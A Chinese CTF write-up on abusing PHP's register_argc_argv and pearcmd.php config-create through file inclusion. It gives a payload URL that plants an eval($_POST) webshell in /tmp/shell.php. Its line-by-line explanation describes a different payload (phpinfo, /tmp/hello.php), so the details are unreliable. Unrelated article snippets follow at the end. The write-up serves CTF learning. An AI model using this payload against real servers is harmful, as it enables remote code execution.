register_argc_argv配置

什么是register_argc_argv?

register_argc_argv配置项打开(on)时,系统会自动将命令行输入的参数信息存入 $argc$argv$_SERVER['argv'] 这几个变量中,无需手动处理。(仅限命令行模式(CLI))

例如,执行 php script.php user1 123 这样的命令时:

$argc 会自动得到值 3(表示总共有 3 个参数:脚本名本身 + 两个输入参数)

$argv 会自动成为数组 ['script.php', 'user1', '123']

$_SERVER['argv'] 会和 $argv 完全相同

简单来说这个配置项的作用就是自动解析命令行参数并赋值给特定变量,让开发者可以直接在脚本中使用这些变量来获取参数信息,无需编写额外的参数解析代码,同时也使得用户在输入时无需考虑底层代码解析,可以更专注于自身代码逻辑。

register_argc_argv的开启

(1)在命令行模式下,register_argc_argv会开启,因为命令行脚本通常需要处理参数,默认开启可简化开发。(2)但在web服务器模式下是关闭的,因为web服务器是通过$_GET/$_POST 等变量处理 HTTP 参数,无需命令行参数机制

Docker环境下的PHP会开启register_argc_argv这个配置。(1)

web服务器下利用register_argc_argv

根据RFC3875的规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。也就是说,可以通过特殊的方式实现在web服务器下使用http协议传递命令行参数,换句话说就是我们可以通过GET传参使用系统命令(可以调用pear命令)

注:

query-string 是 URL 中 ? 后面的部分,例如:

(1)在 URL http://example.com/search?keyword=php&page=1 中,keyword=php&page=1 就是 query-string。

(2)它通常由一组 键=值 对组成,不同键值对之间用 & 分隔(如 key1=val1&key2=val2)。

pearcmd.php

什么是pearcmd.cmd?

PEAR是是 PHP 的扩展与应用库仓库(PHP Extension and Application Repository),提供了大量可复用的 PHP 库和工具,方便开发者安装和管理第三方 PHP 资源。而 pearcmd.php 是 pear 工具的核心执行文件,是具体实现 pear 功能的脚本。当用户在命令行中使用 pear 命令(如安装、更新扩展)时,实际上是通过调用 pearcmd.php 来完成相关操作的。(PEAR的使用前提register_argc_argv必须开启)

pear中可以利用的参数

config-create 是 PEAR 工具的一个合法命令,用途是根据一个 “模板文件” 生成 PEAR 的配置文件

语法为:pear config-create <模板路径> <目标文件路径>

其中:

模板路径:指一个已存在的文件路径,PEAR 会读取该文件的内容作为配置模板(通常是 PEAR 的默认配置模板)。

目标文件路径:指生成的新配置文件的保存路径。

pearcmd.php的利用

说明:

由前两个模块可以知道,我们可以轻易的使用一些特殊的构造方法通过GET传参来调用系统命令,即pear命令,进而写入文件。(PEAR依赖register_argc_argv的开启)

接下来,我将以[NewStarCTF 公开赛赛道]IncludeTwo为例,讲解pearcmd.php的利用

例题:

paylaod:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

代码解释:

  • +config-create+

    这是 PEAR 的一个合法命令 config-create,用于创建 PEAR 的配置文件,语法通常为 config-create <模板路径> <目标文件路径>

    这里用 + 替代空格(URL 编码中,+ 常表示空格),模拟命令行中的空格分隔参数。
  • /

    作为 config-create 命令的第一个参数(模板路径),此处为根目录(无实际意义,仅为占位)。
  • &file=/usr/local/lib/php/pearcmd.php

    这是构造的一个参数,尝试指定 pearcmd.php 的路径(可能用于让服务器定位该脚本)。& 是 URL 中分隔参数的符号。
  • /<?=phpinfo()?>+

    这是核心恶意部分:

    • <?=phpinfo()?> 是 PHP 短标签语法,用于执行 phpinfo() 函数(输出服务器 PHP 配置信息,属于敏感信息)。
    • 这里将其作为 config-create 命令的输入内容,试图将这段 PHP 代码写入目标文件。
  • /tmp/hello.php

    这是攻击者指定的目标文件路径,即希望将恶意代码写入 /tmp/hello.php 文件。

(1)先抓包在添加payload

(2)写入文件成功,访问文件,POST传参寻找flag

注意:

先抓包再添加paylaod的原因:在搜索框传参PHP代码时,php代码的符号会被url编码,服务器收到的是编码,不会把它看作代码解析。

所以需要通过传参上传php代码时,使用抓包程序进行上传,防止被编码。

借鉴p神的文章:https://tttang.com/archive/1312/#toc_0x06-pearcmdphp

关于pearcmd的探索与利用的更多相关文章

  1. 搜索广告与广告网络Demand技术-探索与利用

    探索与利用(Explore and exploit) 点击率预测中还有一个重要的问题,就是探索与利用,它在工程中解决的并不好,我这章把现在论文中的常见的几种方法介绍一下.探索与利用它是所有互联网应用都 ...

  2. 【探索】利用 canvas 实现数据压缩

    前言 HTTP 支持 GZip 压缩,可节省不少传输资源.但遗憾的是,只有下载才有,上传并不支持.如果上传也能压缩,那就完美了.特别适合大量文本提交的场合,比如博客园,就是很好的例子. 虽然标准不支持 ...

  3. 【强化学习】1-1-2 “探索”(Exploration)还是“ 利用”(Exploitation)都要“面向目标”(Goal-Direct)

    title: [强化学习]1-1-2 "探索"(Exploration)还是" 利用"(Exploitation)都要"面向目标"(Goal ...

  4. 简单4步,利用Prometheus Operator实现自定义指标监控

    本文来自Rancher Labs 在过去的文章中,我们花了相当大的篇幅来聊关于监控的话题.这是因为当你正在管理Kubernetes集群时,一切都会以极快的速度发生变化.因此有一个工具来监控集群的健康状 ...

  5. Three.js + HTML5 Audio API 打造3D音乐频谱,Let’s ROCK!

    继续玩味之前写的音乐频谱作品,将原来在Canvas标签上的 作图利用Three.js让它通过WebGL呈现,这样就打造出了一个全立体感的频谱效果了. 项目详情及源码 项目GitHub地址:https: ...

  6. Method Swizzling和AOP(面向切面编程)实践

    Method Swizzling和AOP(面向切面编程)实践 参考: http://www.cocoachina.com/ios/20150120/10959.html 上一篇介绍了 Objectiv ...

  7. 【译】使用UIKit进行面向对象的编程

    在WWDC 2015上,Apple谈了Swift中面向协议编程的话题,令人深思.在那之后,好像每个人都在讨论关于协议扩展的话题,这个新的语言特性使每个人都有所困惑. 我阅读了许多关于Swift中协议的 ...

  8. 唐巧的iOS技术博客选摘

    1. 那些被遗漏的objective-c保留字:http://blog.devtang.com/blog/2013/04/29/the-missing-objc-keywords/   2. 使用cr ...

  9. 全球著名的渗透测试Linux简介

    注:如发现链接无法打开,请尝试代理登录链接 1. Kali Linux Kali Linux是基于Debian的Linux发行版, 设计用于数字取证和渗透测试.由Offensive Security ...

  10. 增强学习————K-摇臂赌博机

    探索与利用增强学习任务的最终奖赏是在多步动作之后才能观察到,于是我们先考虑最简单的情形:最大化单步奖赏,即仅考虑一步操作.不过,就算这样,强化学习仍与监督学习有显著不同,因为机器要通过尝试来发现各个动 ...

随机推荐

  1. 【BUG】PHP Warning: ‘C:\\WINDOWS\\SYSTEM32\\VCRUNTIME140.dll‘ 14.0 is not compatible with this PHP bu

      当使用PHP8.0时,你可能会遇到这个报错: PHP Warning: 'C:\\WINDOWS\\SYSTEM32\\VCRUNTIME140.dll' 14.0 is not compatib ...

  2. Vite 3 来了!新增功能 + 如何迁移

    @charset "UTF-8"; .markdown-body { line-height: 1.75; font-weight: 400; font-size: 15px; o ...

  3. .net6.0及以上WPF中使用GDI+的demo

    using System; using System.Drawing; using System.Runtime.InteropServices; using System.Windows; usin ...

  4. java从小白到老白①

    计算机:由软件和硬件组成.其中没有安装任何软件的电脑称为裸机 (1)计算机硬件是指系统中由电子,机械和光电元件等组成的各种物理装置的总称.这些物理装置按系统结构的要求构成一个有机整体为计算机软件提供物 ...

  5. Everyone's Favorite Linear, Direct Access, Homogeneous Data Structure: The Array(英翻中)

    Arrays are one of the simplest and most widely used data structures in computer programs. Arrays in ...

  6. 基于预生成 QA 对的 RAG 知识库解决方案

    核心价值 QA 预生成技术 采用创新的问答对生成方法,相比传统文本切片技术,能够更精准的构建知识库,显著提升检索与问答效果. 企业级场景验证 已在真实业务场景中落地应用,实现从传统搜索到智能搜索的无缝 ...

  7. IDEA jrebel热部署插件破解-降级

    前言 jrebel热部署插件的破解方式我们一般使用https://jrebel.qekang.com/ 但是这个方式破解只支持到的jrebel热部署插件版本为2022.4.1 需要最新版本的破解请参考 ...

  8. 爬取西刺代理的IP与端口(一)

    0x01 简陋代码是,获取(.*?)的字符串 #coding:utf-8 from requests import * import re headers = { "accept" ...

  9. 前端WebSocket的方法封装

    一.封装方法 在项目根目录src下的utils中新增webSocketManager.js封装文件,代码内容如下: // webSocketManager.js /** WebSocketMessen ...

  10. ceph部署mimic版本集群

    一.简单说明 ceph mimic版本在对MDS的稳定性等方面做了大量的改进和优化,这里我们k8s集群使用ceph时需要使用cephfs,因此对MDS的稳定性方面有很高的要求,因此,我们选择ceph ...